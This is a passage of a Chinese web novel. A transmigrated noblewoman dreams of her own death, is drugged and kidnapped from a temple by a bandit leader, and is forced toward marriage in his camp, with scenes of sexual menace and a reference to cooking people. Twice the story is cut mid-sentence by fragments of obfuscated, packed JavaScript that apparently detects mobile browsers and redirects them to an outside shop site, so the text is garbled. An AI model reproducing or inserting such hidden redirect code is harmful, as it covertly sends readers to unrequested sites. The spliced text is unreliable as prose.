“郡主最喜欢这款帐中香了。”画屏伸手调整了一下熏香炉的位置。 陆泾川微微倾身嗅闻,视线朝封得严严实实的帐子中看去,总觉得味道缺了一点什么。 - 苏弱水养了几日,便又去神医处了。 等出来的时候已经过了一个时辰,她刚刚准备离开,一人上前将她拦住。 “我家主人与郡主有话要说,请郡主移步。” 苏弱水站在那里没动,直到那边道:“我关于您身边那位小公子的事。” 苏弱水终于想到一段剧情。 是晋王来了。 今次是两个护卫守着她,苏弱水略一思索,便点头道:“好。” 苏弱水一点头,那人便立刻在前面引路,七拐八拐的带着她往另外一条巷子深处去。 苏弱水还拿着拐棍,她走得有些慢,绣鞋踩在青石板砖上,被巷子里常年不消的积水濡湿。 巷子里本就暗,苏弱水头上还戴着帷帽,她皱了皱眉,用拐棍探路,前面亮起两盏灯笼,挂在一处木门口,被风吹得微微晃动。 “您请。”那人十分有礼,苏弱水身后的护卫却异常警惕。 “郡主,他虎口带茧,应当擅长用刀。”护卫压低声音提醒苏弱水。 “嗯。”苏弱水点头,安抚道:“我知道。” 这是一处安置在巷内的深宅。 苏弱水入内之后被引入花厅,有人前来奉茶。 她没用,只是坐在交椅上安静等待。 没有一会,花厅内隔着一层竹帘的后面就出现了一个人。 隔着一层薄薄的竹帘,两人皆未露脸。 苏弱水只看到中年男人置在膝盖上的一双手,其中一只的大拇指上戴着一枚价值连城的玉扳指。 晋王这边也差不多。 女人以帷帽遮面,身上裙裾繁复,连一双素手都放在宽袖中,藏得一丝不露。 “我想要郡主身边带着的那个男宠,他从前在我家做事,犯了错,我要带他回去,郡主尽管开价。”晋王声音带着一股属于中年男子的浑厚感,还有一种与生俱来的居高临下感。 苏弱水记得,原著中原身是这样回答的,“天下相似之人众多,你找错人了,你口中的这位小公子是我失散多年的弟弟,不是我的男宠。” “不可能。” 对面直接否认。 当然不可能,一个奴隶怎么会变成北平王世子?这实在是太匪夷所思了。 原身也肯定道:“你认错人了,我的阿弟就是我的阿弟。” 若没有被陆泾川救过,苏弱水不会替他说话。 没有北平世子这层身份在,晋王杀他根本不必找借口。虽然陆泾川身负天道,不会死,但必会多生波澜。 不会死,可是会疼的。 苏弱水想起少年为了救她,躺在那里冷如尸体的身体,下意识无声叹息一声,然后低着头,缓慢开口,将原身的话重新复述了一遍。 不同的是,原身真的以为对面的中年男子是找错人了。 而苏弱水则知道,她是在为陆泾川上一层保护罩。 - 谈话并不愉快,双方各执一词,晋王那边拿不出任何物证,苏弱水这里却取出了一枚日玉佩。 看着那枚玉佩,晋王开始动摇。 难道真是相似之人? 可这世上真有这么巧的事? 晋王不信。 晋王此人有一个最大的毛病,也是导致他最后跟陆泾川对阵时失败死亡的最大缺点,那就是太相信自己的猜测和想法,即使没有证据,这是上位者最容易犯的错误。 他认为苏弱水是在骗他,那她就是在骗他。她要包庇一个奴隶,包庇一个杀了他女儿的凶手,甚至不惜用上北平王世子的身份来压他。 当他会怕吗? 晋王猛地一下扫落手边茶盏。 苏弱水回到驿站的时候正看到陆泾川捧着一束荷花回来。 “阿姐。” 少年捧着荷花来到她面前,额头汗津津的是被日头晒得。 “我陪阿姐用晚膳。” 苏弱水有些心不在蔫地点了点头,晚膳也没用多少,碗里剩下的饭被陆泾川吃了。 “阿姐脸色不好。” “嗯,累了。” 陆泾川起身,替苏弱水点香。 白色的熏香袅袅升起,少年的脸被香笼罩,他看到苏弱水靠近他,拨开珠帘从他身侧经过,终于知道熏香里缺了一味什么香,是女人身上自带的香。 少年深吸一口气,嗅到那股淡香。 “阿姐早点休息。” 苏弱水已经卧床,发出很轻的回应声。 少年似乎在原地站了许久,直到画屏进来才离开。 - 似乎是因为今日见过了那位晋王的,所以晚上苏弱水做梦了。 她梦到六月底马上就要进入盛夏的天,路边草木繁茂,带着一股草木的清香,她坐在马车内缓慢朝北平方向而去。 少年一身蓝衣坐在她对面,仰头看她时脸上带着虚伪的微笑。 苏弱水看着眼前熟悉又陌生的少年,略微有些疑惑的蹙眉,然后就发现自己控制不了自己的表情。 “阿书,尝尝这个。” “她”拿起一块桂花糕递给陆泾川。 少年笑容满脸地伸手接过,“谢谢阿姐。” 陆泾川是不喜欢吃桂花糕的,桂花是他唯一不喜欢吃的食物,不过苏锦书喜欢。 少年咬一口,用力点头道:“好吃。” “她”笑弯了眉眼,取出帕子想替陆泾川擦一擦唇角边的糕点屑,没想到少年下意识偏头一躲,然后随意用指腹擦了擦,“好了。” “她”笑着摇头,显然是没有多想,只是觉得少年的动作很孩子气的可爱。 突然,马车晃了一下,然后霍然停住。 苏弱水伸手撩开马车帘子,看到刘飞骑马过来,脸上神色严肃。 “刘叔,怎么了?” “郡主,别下马车。” 刘飞话音刚落,长箭如雨点般落下,他一人挡在马车前砍断十数根。 随后,山坡之上,从四面八方冲杀下来很多匪徒。他们手持长剑长刀,凶神恶煞,直奔马车而来。 “保护郡主和小公子!”刘飞勒马组织护卫兵将马车团团围住。 护卫兵虽然强悍,但人数比不过那些匪徒。再加上匪徒熟悉地形,专门挑在此处围堵,就是仗着这里只有一个出口。 匪徒已经将那个出口堵住,后路被截断,刘飞一咬牙,替换车夫的位置,驾驶着马车往出口硬闯。 护卫兵一茬一茬的倒,“苏弱水”面色惨白地待在马车里,看着身边的少年攥紧手里的长剑。 下一刻,一支长箭突然从马车外射进去。 陆泾川抬手阻挡,砍断长箭。 长箭掉在地上,陆泾川紧皱的眉头稍微松懈一些,可他却闻到一股血腥气。 少年转头,身后女人躺在那里,胸口插着一支长箭。 长箭尾挂着一根蓝色的孔雀翎,被风微微吹动。 女人黑色长发散落,伤口处的鲜血浸染白色上衣,在上面开出艳丽的花色。 陆泾川偏头,看到了被射穿的车窗帘子。 那支箭是从马车窗子里射进来的。 女人已经断气,她的双眸还没合上,黑白分明的眸子,眉心的朱砂痣缓慢黯淡下来,像一尊失去了灵气的小菩萨。 窗户口新挂上的风铃被吹得“叮当”作响,显得一股急切焦躁。 苏弱水猛地一下起身,单手捂着心口。 她听到自己强烈的心跳声,那颗心脏像是要从喉咙里跳出来。 那是原著中苏弱水的死亡原因。 那场杀戮只有陆泾川一个人活了下来,在他奔逃的时候,遇到了北平王派来的暗卫。 暗卫们从那张带血的脸上看出了与王妃相同的眉眼痕迹,再加上少年身上带的玉佩,便确定了此人就是世子。 那些匪徒是跟晋王合作的。 自从跟“苏弱水”交谈过后,晋王虽然不十分确定陆泾川的身份,但也知道,这件事容不得他犹豫。 晋王为了给自己的女儿报仇,是一定要陆泾川的命。他知道人若是一旦回到北平,他就没有机会为他女儿报仇了。 不管陆泾川的身份是什么,他必须要他死。 现在的问题是,要怎么杀了他。 若是被北平王知道,他杀了他一双儿女,那北平和武昌就势不两立了,现在还不到撕破脸的时候。 因此,晋王想出来的办法是跟当地的匪徒合作。 金陵城内的天子虽然还高坐皇位,但实际上他手底下的这些藩王都已经快压不住了。 乱世将起,匪患横生。 苏州城外就有一座住满了匪盗的山,名唤落雁坡,寨子的名字就叫落雁寨,暗指飞过此地的人都会落下,是一个极其凶残恶毒的名字。听闻其烧杀抢掠,无恶不作。 苏州知府多次派兵围剿,都以失败告终。 之前苏弱水选择逼陆泾川自己离开,是因为她没有蠢到去搞定一个连官府都围剿不下来的土匪窝。 可现在,摆在她面前的只有这一条路了。 这些匪徒都是亡命徒,他们也渴望拥有一个强有力的后盾支持。天下马上就要大乱,晋王朝他们抛来橄榄枝,向他们要的投名状就是晋王的一双儿女。 晋王的军事实力比北平强,原著后期也证明,武昌作为坚守南方藩王阵地的关键节点,成为陆泾川战争生涯中最棘手的战役。 因此,这些匪徒会选择谁就很显而易见了。 要不要试试先将晋王的后招拆了? 可那么大一个土匪窝,苏州知府打了那么多年都没有打下来,她凭什么?凭她对剧情的先知?原著剧情中这个土匪窝隐匿到晋王地界,后期跟陆泾川对上之后,才被灭,比她活得都久。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613227|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏弱水伸手揉了揉额头,觉得太为难她这个社畜了。 - 天气已经暖和许多,苏弱水的腿疾也基本痊愈,她丢掉拐棍,在房廊下小心翼翼的来回走动。 陆泾川躺在花架下面的躺椅上,手里拿着一本书,微微偏头从书册看向苏弱水。 女人穿着靛青色的裙子,一摇一摆。 苏弱水走到陆泾川面前,视线一顿,“你在看什么?” 少年的眼神重新落在书页上,“兵书。” 兵书? 苏弱水灵光一闪,陆泾川身上有天道运气,如果让他去打土匪,能不能行呢? 可是很危险,陆泾川现在可不是未来的北平战神。而且她无缘无故让陆泾川去打土匪这件事真的很奇怪,陆泾川一定不会听她的。 算了,算了,再想别的法子吧。 - 苏弱水一连做了三日噩梦,每次都是自己心口插着箭,血淋淋地醒过来。 “画屏。” “郡主,怎么了?” “帮我备车,我要出门。” 苏弱水知道附近有座庙,虽然远了些,但为了给自己求个心安,她还是准备去一趟。 “阿姐要去哪?”苏弱水一出门,就见一楼芭蕉叶后面的窗子被人推开了。 少年趴在窗檐上看她。 苏弱水想起陆泾川大病初愈,或许也该跟着她去一趟,便道:“要去寺庙,你去吗?” 寺庙。 陆泾川的视线扫过她,想着他的小菩萨就在眼前,他何必去拜旁的。 “好啊。”少年点头,卷起手里的兵书推门就出来了。 最近日头很大,画屏跟在苏弱水身边替她撑伞。 少年无所顾忌地走在阳光下,肌肤白得发亮。 陆泾川的肌肤是漂亮的暖白色,跟苏弱水这种病弱的苍白不太一样。 他浑身上下透着属于少年的蓬勃气,是那种看一眼都能摸到阳光的感觉。 陆泾川坐到苏弱水的马车里,现在他已经不必需要苏弱水的邀请了,直接就自来熟的进来了。 苏弱水习惯性地侧躺在马车里,身后垫着靠枕,画屏替她整理裙摆。 马车出发,苏弱水用丝绸帕子遮住脸,开始假寐。最近噩梦做太多,她的睡眠质量直线下降,只能挑选一些碎片化时间休息了。 少年单手拿着兵书,另外一只手撑着下颚。 马车摇晃,他的视线随着飘荡的帕子浮动。 - 一觉睡醒,马车正好到了。 寺庙的名字叫寒山寺,应该就是现代的寒山寺。 马车穿过枫桥,进入寒山寺。 眼前的寺庙明显经过多次修缮扩大,从人流量来看已经颇具名气。大雄宝殿香火鼎盛,两边楼阁飞檐翘角。 苏弱水与陆泾川低调出行,她戴着帷帽从马车上下来。 寺庙明黄外墙,黑色屋瓦,入内之后能嗅到浓郁的香火气息,白墙之上书写黑色毛笔“佛”字。四周树木影壁,亭台楼阁。 庙内除了一些台阶之外,陡坡也不多,这对于腿脚刚刚好起来的苏弱水来说非常舒适。 画屏去外头买香烛了,陆泾川说他要去拜一拜观音。 “观音?” 苏弱水略微诧异地抬头看了他一眼,没有多问,只点头道:“好。” 苏弱水记得原著中的陆泾川对拜佛这种事情并不热衷,怎么突然就要去拜观音了。 “我去前面看看。”苏弱水这次过来要拜的是四大天王。 听说拜四大天王象征守护与吉祥。 “好。”少年点头。 苏弱水与陆泾川分开往两边去。 寺庙里人挺多的,苏弱水戴着帷帽侧身避开人群,穿过几座殿,寻到四大天王。 巍峨的殿堂内,弥勒佛于正中间,周围是四大天王的金身像。 来都来了。 苏弱水先拜了弥勒佛,然后又陆续参拜四大天王。 她也不太懂参拜的规矩,只是一味的塞香油钱。 参拜完,那边有小沙弥过来,“施主,这里可以抽签筹。” 苏弱水顺着小沙弥的手指方向看去,只见那里的桌子上有一个竹制签筒,里面插着很多竹制签筹。 苏弱水颔首,起身取了签筒,然后跪在蒲垫上求签。 签子落下,苏弱水弯腰拿起,捏在手里细看。 她看不懂签文。 “施主,这边解签。” 那小沙弥又上前来。 苏弱水点头,跟着那小沙弥往后头去解签。 寒山寺很大,比现代的还要再大上几倍,因此,前面虽然香火旺盛,但越往后面走越人烟稀少。 “还要再走吗?” 苏弱水眼看四周无人,下意识觉得有些古怪。 前面的小沙弥停住脚步,扭头看向她。 轻薄的帷帽飘动起来,撩起薄纱下摆,露出女人纤细白皙的下颚线条,还有颜色浅淡的唇。 苏弱水的第六感告诉她不对劲。 攥紧手里的签子,苏弱水转身就跑。 头上的帷帽被人从后面扯落,苏弱水只觉眼前飞过一阵白粉,她下意识想屏住呼吸,可身体慢了一步,已经吸入大半。 身体一瞬绵软下来,她努力睁开眼想看清楚眼前的人是谁,却始终看不清楚脸,只看到一层艳丽的红。 - 寒山寺内有多尊观音像。 陆泾川挑了附近的观音峰而去。 庭院内有一座围起来的石峰,此峰为七米高的山石,立于东侧庭院内,上书“观音峰”三字,听闻其乃太湖石巨型灵璧,是姑苏之最。远看高大挺拔,近看玲珑剔透,姿若观音。 再往里去,堂中供奉着一尊白玉观音菩萨,位于木雕壁画中央,手持净瓶,低眉慈目,眉心一点胭脂痣。 香火袅袅,陆泾川立于观音像前,仔细凝视。 “小公子,小公子……”外面传来画屏焦急的声音。 陆泾川回神,朝外看去。 “小公子,我家郡主不见了!” 16.第 16 章 廊上丢了一支签筹,还有一串熟悉的佛珠。 出发时,它还乖巧地绕在女人腕间。 陆泾川蹲下来把佛珠捡起来,阴沉着脸紧紧握在手中。然后视线一转,看到那支签筹,捡起来,指尖触摸到一点白色粉末。 少年迅速掏出帕子,将签筹包裹起来,然后吩咐画屏道:“去告诉刘叔郡主被人掳走了。” “什么?掳走了?” “快去。”陆泾川沉了脸,眸中显出厉色。 陆泾川天生漂亮,眉眼亦带着明艳的光彩,皱眉看人时却藏不住眸中戾气。 画屏还是第一次看到这位小公子如此模样,登时心中一惊,赶紧急匆匆去了。 陆泾川从寺庙借了马,直奔巷内窄巷而去。 他记得那位神医就住在这里,苏弱水时常过来看病,他偷偷跟过。 “我是郡主的人,麻烦您帮我看看这粉末。” 少年直接表明身份,勒马而下,鬓角被热汗浸湿,他将手中包着沾着药粉的签筹帕子递给那两鬓斑白的神医。 神医倾身上前嗅闻,然后又沾了一点放入口中。 “是落雁寨的迷魂散。” “落雁寨?” 神医把嘴里混着唾沫的粉末吐出来,然后漱了口,缓缓道:“一个土匪寨子。” - 苏弱水觉得自己并非昏迷,人却也不清醒,像被人下了那种传说中的迷魂药一般,耳边是窸窸窣窣的说话声,却听不清楚。 身体很软,连一根手指都抬不起来。 她觉得自己被放在了一辆马车里,马车辘辘前行,走了很长很长一段路,然后她被人抱了下来,放在一个摇摆的地方。 她听到水声,还有芦苇从身上划过的感觉。 她闭着眼,却能感受到一点光影变化。 太阳应该是落山了。 她嗅到一股清凉的山间的味道,然后那股味道不断扩大,带着淡淡的泥腥味和不透气的凉。 小船终于停了,她又被人抱起来,周围的声音越来越大,她听到很多人在说话。 那人抱着她走,上了坡道,那些窸窸窣窣的声音渐渐远去。 苏弱水感觉自己的力气在恢复,她做的第一件事就是睁开眼睛,想确认自己的处境。 她头上的帷帽居然还未被去除。 隔着一层朦胧的纱质感,她看到一个人,还没看清楚,她身体一落,被放在了床铺上。 随后,她的帷帽被人取下。 视野一下清晰起来。 她眼皮动了动,视线落到面前的人身上。 这个人穿着一件红衣,脸上戴着面具,那面具覆盖住他的全脸,只露出一点双眸,还隐在面具之后,旁人无法窥视其眼神。 古怪的鬼面,妖冶的红衣。 苏弱水确定自己并不认识这样的人。 她初来乍到苏州城,除了与那位素未谋面的晋王隔着陆泾川有仇,并没有得罪过谁。而且她是北平王之女,有些脑子的都知道她不能得罪,甚至可以说,只有她得罪别人的时候,别人根本不敢得罪她。 “郡主醒了。” 那人开口,声音不似成年男性那般浑厚有力,而是少年的清冽感。 苏弱水蜷缩着身体往床内挪,企图避开面前的人,可身体还没完全恢复力气,只轻微动了动,像只受惊的小兽。 看到苏弱水害怕,那人藏在面具下的眼瞳也跟着动了动,他不避讳,直接取下面具。 那是一张算好看的脸,起码在苏弱水看到陆泾川之前,像这样的面孔她一定会称赞一句俊俏,若不知道少年的真实身份,单看这张脸你完全想不到他竟是个杀人如麻的土匪,反而更像是个邻家弟弟,正在与你闲话家常。 可自从看到陆泾川那张被作者无数次称赞的漂亮少年面孔之后,任何人的脸与他的脸放到一起对比都是输。 不过看到脸,苏弱水终于想起来他是谁了。 “你不是苏州知府的人吗?” 大概是因为药物,所以苏弱水说话的声音很轻,给人一种喘不上气的感觉,有几分病美人的姿态。 眼前的红衣少年分明就是上次苏州知府送给她的那个,她不是已经让刘飞把人退出去了吗? 难道因为她退货,所以少年心怀不满,想要报复她? 屋子里只有他们两个人,少年又离得近,虽然女人声音轻弱,但他还是听清楚了。 见苏弱水还记得自己,少年的眼眸直接就亮了。 “郡主还记得我。”他双手撑在床沿边,望向苏弱水的眼神带着一种诡异的兴奋。 屋内门窗紧闭,空气里带着一股长久不透气的潮湿尘埃味道,可少年却嗅到女人身上淡淡的香气。 他神色迷恋地看着眼前女人的脸。 软腻透白的肌肤,乌黑柔顺的长发,眉心一点胭脂痣,为这份清冷增添了几许明丽。因为虚弱,所以蹙着眉,敛目垂眸。她做这个表情时,彷佛怜爱世间万千,一切罪恶都能在她眼中平息。可她偏偏又是极冷淡的,像天上高悬的月,你只能触碰到她身上散发出来的月华余晖。 “我不是苏州知府的人。”少年跪在床沿上,一只手伸出来,隔着裙裾抚上苏弱水的小腿,“郡主的腿好了吗?” 苏弱水被恶心的浑身战栗,使出全身的力气抽腿往更后面躲,一下竭力之后摔在床铺上。 猩红色的床单映衬着素衣美人,就如同将高贵的月亮拽了下来。 少年的呼吸骤然一深,他竭力压制。 女人如此抗拒,少年也不恼,只哄道:“看来是好了,郡主别怕。” “这里是哪里?你要干什么?” 苏弱水攥着身下被褥,眼神不着痕迹的往左右瞥了瞥。 “这里是落雁寨。” 落雁寨? 苏弱水知道落雁寨是什么地方。 她记得原著中并没有她被落雁寨的绑匪绑架这段剧情。 难道是因为她的出现,所以对剧情产生了蝴蝶效应? 少年抬眸,眼中浸出欲望,激动的嗓音颤抖,“我想与郡主成亲。” 成亲? 难道不是想杀了她吗?为什么是要跟她成亲? 苏弱水看向红衣少年的眼中充满了困惑,甚至都将其对陌生环境的恐惧掩盖住了。 “想要的就要自己抢,抢晚了就会被别人抢走。”少年喃喃自语。 一个存活了接近二十多年的寨子,按照少年的年纪来看,他可能出生就在这里了。 一个从小就被教导土匪生存法则的人,自然不明白正常的道德伦理和律法,先抢到就是他的。 多么荒谬的理论,可这确实是寨子的生存法则。 “郡主真好看。” 他抚摸着苏弱水的裙裾,像是忍不住想往上攀升,可在看到女人的脸时,又陡然生出一股亵渎之感,只一脸痴迷地仰头,用眼神细细描摹女人的容貌轮廓。 “我第一眼看到郡主的时候,就爱上郡主了。”少年说话时呼吸急促,满眼爱慕之情,像是真的爱惨了她。 苏弱水只觉得恶心。 “三当家的!” 屋子外面传来喊话声。 隔着一扇薄薄的竹木窗子,有人在窗口说话,“大当家的说让你回来了以后立刻去找他。” 三当家? 原来这少年在寨子里的地位还不低。 苏弱水兀自猜测,一个土匪,出现在苏州知府的府邸里。这位三当家应该是在苏州知府的府中当卧底,不然怎么每次知府攻打山寨都铩羽而归呢? 他在寨子中还戴着面具应该也是怕寨子中有奸细,发现他间谍的身份。 “郡主在此处等我,我马上就回来。” 少年重新戴上面具离开。 苏弱水的那阵晕眩还没过去,也不知道这少年用的什么药,等她身体好转过来,才发现屋子里已经没人了。 屋内没有给她点灯,外面天色完全黑了。 苏弱水等药效彻底过去,积攒了一些力气,借着一点微弱的光色走到窗边。 她伸手推开窗子,看到外面星星点点亮着火光,有赤着上身的男人手持长刀守在她的窗户口,眼神落到她身上,带着赤裸裸的欲望。 苏弱水猛地一下关上窗户,想了想,还是将窗子拴上了。 看来那个三当家找了别人看守她。 苏弱水没回那张恶心的床,她坐在凳子上发呆。 原著中虽并没有过多的提到落雁寨,更苏弱水却知道这位三当家。 落雁寨投靠晋王之后,这位三当家凭借自己出色的阴毒手段诸如焚城绝后,烹人做粮,成为了晋王手下幕僚,因为其常戴鬼面具,所以被称为鬼将。 虽然最后被陆泾川所杀,但也给男主添了不少堵。 苏弱水下意识伸手捂住了自己的嘴,瞳孔无意识睁大。 她努力告诉自己镇定,不要害怕。 - 苏弱水一夜没睡,她睡不着,也不敢闭眼,直到天亮。 黑夜过去,白日阳光出现总给人一种希望感,可偏偏今日是个阴天,灰蒙蒙的天气透着风雨欲来的阴霾,也让苏弱水稍微适应了一点的心情又跌落回去。 她记得原著中说,落雁山山高林深,地势险峻,落雁寨内山溪藏船,河流纵贯,寨子里的人熟悉水道和水性,时常躲在水道里作战,战无不胜,攻无不克,是个很难对付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622473|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寨子。 也不知道刘叔能不能找到她。 屋内不透气,灰尘的味道充斥鼻腔,还有一股霉味。 苏弱水起身又悄悄打开窗子。 那个守在她窗户口的土匪换了人,却依旧是膀大腰圆,凶神恶煞的样子。 苏弱水面色苍白地关上窗,也不想坐那个床,便寻了一张板凳。 这屋子看起来真是很久没住人了,里面的东西都蒙上了一层淡淡的灰尘。 屋子不大,一架竹子木床置在中央,上面铺着粗糙的红色被褥。 靠墙有一个衣柜,桌子上有一套粗糙的茶具,还有几张椅子,其余物品一概没有。 苏弱水盯着那衣柜看了一会,起身走了过去。 打开衣柜,苏弱水被灰尘呛了一下。她伸手捂住口鼻,看着里面几件男式的衣裳,嫌弃的用指尖拨了拨。霍得,苏弱水动作一顿,她看到了衣柜内放着的那张弓。 弓很大,弓身制作精巧,有些陈旧,不过被保养的很好。 旁边是一桶羽箭。 苏弱水盯着露在外面的蓝色孔雀翎发愣。 恍惚间,梦中飘荡的蓝色孔雀翎跟现实重合。 那支挂着蓝色孔雀翎的羽箭刺穿她的胸膛,带来死亡。 “叩叩。”门口传来敲门声,这声音在苏弱水看来,如同阎王索命。 木制的门扉被人打开,那位三当家的戴着那个鬼面具,依旧一身红衣的回来了。 他将手里的篮子放到桌子上,篮子里飘出淡淡的饭菜香气。 “郡主饿了吧?我给你拿了早膳。” 苏弱水没动。 “不饿吗?” 苏弱水看着他靠近,侧身往旁边避,身后的衣柜门被她关上。 “我要洗漱。” 少年一顿,出去了,片刻后端了一个木盆进来,里面摆着洗漱用品。 盐,木制的猪鬃牙刷,水,帕子。 “都是新的。”少年矮身靠近。 苏弱水忍着不适,“我们还没成亲,不要靠我那么近。” 少年听到此话,眸色一亮,“郡主答应与我成亲了?” 苏弱水现在听到他说话都恶心,不止恶心,还害怕。 她逼迫自己凝视着水盆,让自己表现的没有那么厌恶和恐惧,“嗯,我还不知道你叫什么。” “我叫陈火离。” 《春秋元命苞》中道:火离为孔雀。 苏弱水的视线再次不受控制地看向身后的衣柜。 “陈火离?” 女人嗓音柔软,唤出这个名字的时候带着细腻的调子,如果忽略那颤抖的音调的话。 陈火离咽了咽喉咙,望向苏弱水的视线浸润出不一样的味道。 “其实比起剑,我更擅长弓,郡主喜欢那套弓箭吗?我可以送给郡主当新婚礼物。”陈火离的声音黏黏糊糊的,带着一股阴柔气。 他看到她开衣柜了?不,应该是有人在监视着她,然后将她的所作所为告诉了他。 “不喜欢。”苏弱水忍着不将情绪表露在脸上,努力和缓表情,“我想出去转转。” - 苏弱水得到了外出的机会。 陈火离派了一个人跟着她,是个光头土匪,若穿上和尚服,分明就是寒山寺里带她去解签的那个。她早就该知道,那个人是个假和尚,怪她太没有防备心了。 天气很早,除了前方瞭望台上站着的几个土匪,这里还没有人走动。 苏弱水踮脚往外看,还能看到绵延望不到尽头的寨子墙。 没多久,寨子里的人开始活动起来,虽然是土匪寨子,但十步一岗,还有人轮班巡逻,瞭望台的数量也不少。 看似混乱,实则有序,怪不得能跟苏州官府抗衡那么多年。 苏弱水观察完,得出一个结论。 她一个人逃出寨子的概率很低,几乎为零。 苏弱水开始漫无目的的在寨子里转。 那人跟在她身后,她走到哪里,他跟到哪里。 苏弱水几乎是走了一天,她歇歇停停,最后坐在河边,指着藏在芦苇丛中只露出一点船头的小船道:“我想坐船。” 跟在苏弱水身后的假和尚真土匪双手环胸道:“不行,那都是我们寨子的战船。” 苏弱水默默看了一眼那只战船,转身离开。 回去的路上,苏弱水看到一个木架子上用麻绳拴着一个吊起的巨大铁锅,下面还放了很多被烧尽的火柴。 “那是什么?” 跟在她身后的土匪不自禁变了变脸色,即使生在土匪窝里,他也同样露出惧色,“烹人的,三当家做的。” 苏弱水霎时面色惨白。 17.第 17 章 苏弱水在日落前回了那间屋子,她打开窗子通风,那个看着她的土匪就站在窗子口。 浅薄的日头落下,原本阴沉的天更加昏暗。 苏弱水远远看到前面有人从坡上下来,看穿着不似寨子里的人。 走在前面的是个中年男子,身穿褐色锦袍,手上戴着一个玉扳指,身后跟着几位明显就是练家子的护卫。 “他们是谁?”苏弱水状似无意开口。 那土匪看她一眼,知道她即将成为三当家的娘子,也多了几分客气,“昨夜来的贵客。” 如果苏弱水没猜错的话,这位就是晋王殿下。 应该是来谈合作的。 - 陈火离这几日都在寨子里,他给苏弱水送了晚膳过来。 今夜他看起来似乎是有心事。 苏弱水实在是吃不下。 短短几日,她已经瘦了好几斤,脸薄了许多,脸色也不好看,整个人显得越发清冷,跟被乌云遮住的月亮似得,没了生气。 这几日陈火离没有在晚上进过她的屋子,苏弱水都是坐在椅子上睡得,这样虽然睡得不安稳,但能及时清醒过来。 虽然这样做也不能改变什么,但能让她心里好受些也不错。 陈火离看她不吃饭,眉头皱起,温声哄她,“吃一点。” 苏弱水不想引起他的不愉快,拿起筷子,吃了几筷子米饭,被噎得有点难受,吃上一口茶,也是冷涩的很难吃。 她用了一些就不用了,将筷子放下。 幸好,陈火离也没有继续为难她。 “我已经跟大当家说过了,要与你成亲,这样他们就会放过你了。” 用完饭,陈火离突然开口。 “他们是谁?”苏弱水假装不知。 “我也不知道,看起来不像是这里的人。不过郡主放心,我一定会保护好你的。” 陈火离根本就不了解那个晋王,他是个喜欢斩草除根,甚至扒皮挖土的人。 不然他也不会千里迢迢从南昌来苏州,就是为了亲眼看到陆泾川的尸体。 晋王又是个多疑的,看到尸体面目全非,心中起疑,再令人调查,果然查出蛛丝马迹,随后抽丝剥茧寻到陆泾川的下落。 一个小小奴隶居然变成了北平世子。 晋王虽然惊诧于这件事,但更多的却是觉得棘手。 杀一个世子为自己的女儿报仇,与北平为敌到底值不值得。 从他出现在落雁寨这件事看来,他还是决定杀了,只是用了借刀杀人的合作手法。 苏弱水蹙眉思考,女人眉目沉静,周边烛光微亮,照在她瓷白的面孔上,像一尊玉质的小菩萨。 陈火离突然倾身过来,苏弱水看到他滚动的喉结,贪婪痴迷的视线。 他朝她伸出手。 一直心怀警惕的苏弱水猛地偏头避开,那只原本准备摸她嘴唇的手擦过她的脖颈,粗糙又用力。 苏弱水感觉自己脖子一疼,她一下将人推开。 “你答应过成亲前不碰我。”苏弱水嗓音颤抖。 脖颈处的疼痛其实很快就过去了,可那股潮湿黏腻的恶心感却挥之不去。 苏弱水放在膝盖上的手攥紧成拳。 陈火离沉了沉脸,深吸一口气,嗅到女人身上的香气,他忍着坐回去,“我们明日就成亲吧?” 屋内安静一瞬,苏弱水突兀产生耳鸣,她感觉自己的心猛地一下坠落,心口空荡荡的。 她好像挂在悬崖边,周围都是喧嚣的风声,她伸出手,却什么都攀不住。 看似是询问,可苏弱水根本就没有拒绝的权利。 她动了动唇,逃避似得起身走到书桌后面,拿起毛笔开始写字。 陈火离是个土匪,他不识字,可这位金尊玉贵的郡主开口说想要笔墨纸砚消磨时光。 他就给她弄来了,连书桌也是新添置的。 陈火离见她不说话,站起身来,脸上隐约显出戾气,衬得那张阴柔清秀的面孔多了几分扭曲的阴暗。 “好。” 女人突然开口,答应了。 陈火离脸上戾气消失,显出笑容。 - 原本简单粗糙的房子被布置一新,红绸挂满屋子,桌上铺了红布,床褥也换成了漂亮的鸳鸯被。 一双龙凤红烛在案上燃烧正旺,苏弱水坐在崭新的梳妆台前,从铜镜里看着身后的喜娘给她梳发。 “哎呦,我活了这么久啊,就没见过比小姐还标志的人了,看起来跟九天仙女下凡似的。” 苏弱水没有说话,也不哭,只是一味低头沉默。 可能她是想哭的,只是这几天晚上哭多了,眼泪都流干了,眼眶里涩涩的,根本就流不出来。 “小姐戴这个凤冠实在是太富贵了,衬得气色都好了。” 沉重的凤冠被喜娘压在她头上,扯得头发有点疼,苏弱水微微抿了抿唇,还是没有说话。 喜娘一个人絮絮叨叨说些吉祥话,见苏弱水一个字也不说,逐渐也跟着没了兴致,噤了声。 苏弱水很安静,连她自己都觉得安静过头了。 一般来说,她应该大吵大闹,自残绝食。 可苏弱水知道,这些手段是没有用的。 陈火离嘴上说爱她,却将她劫掠过来,他根本只是将她当作一件物品罢了。 陈火离对她的兴趣会消失,他表面和善,实际上骨子里藏着凶残的匪气,现在对她客气,只是因为她听话懂事,若她大哭大闹,他大可以像之前一样给她用药,直接强迫她。 不如她识趣些,少受皮肉之苦。 